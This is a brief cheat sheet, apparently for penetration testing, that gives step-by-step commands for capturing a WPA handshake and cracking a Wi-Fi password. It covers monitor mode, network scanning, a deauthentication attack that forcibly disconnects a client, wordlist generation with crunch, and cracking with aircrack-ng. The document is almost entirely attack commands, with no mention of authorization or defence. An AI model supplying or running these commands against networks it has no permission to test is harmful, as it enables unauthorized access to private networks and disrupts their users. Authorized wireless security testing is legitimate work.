WPA
Attack that captures a WPA handshake and attempts to recover the network password using a wordlist.
Setup
| Command | Description |
|---|---|
| ip addr | Displays the MAC address of the wireless adapter. |
| airmon-ng start wlan0 | Puts the wireless adapter into monitor mode. |
Scanning
| Command | Description |
|---|---|
| airodump-ng wlan0mon | Scans nearby networks on the 2.4GHz band and displays their BSSID and channel. |
| airodump-ng --band a wlan0mon | Scans nearby networks on the 5GHz band and displays their BSSID and channel. |
Capture
| Command | Description |
|---|---|
| airodump-ng --channel [channel_no] --bssid [BSSID] --write handshake-file wlan0mon | Captures traffic and saves the WPA handshake when a client connects (2.4GHz). |
| airodump-ng --band a --channel [channel_no] --bssid [BSSID] --write handshake-file wlan0mon | Captures traffic and saves the WPA handshake when a client connects (5GHz). |
Execution
| Command | Description |
|---|---|
| aireplay-ng --deauth 5 -a [BSSID] -c [STATION] wlan0mon | Disconnects a client to force reconnection and capture the handshake. |
Wordlist
| Command | Description |
|---|---|
| crunch [min_len] [max_len] [charset] -o [wordlist_file] | Generates a custom wordlist with the given length and character set. |
| use a prebuilt wordlist, e.g. mywordlist.txt | Alternatively, use a ready-made wordlist instead of generating one manually. |
Cracking
| Command | Description |
|---|---|
| aircrack-ng handshake-file-01.cap -w mywordlist | Attempts to crack the WPA password using the wordlist. |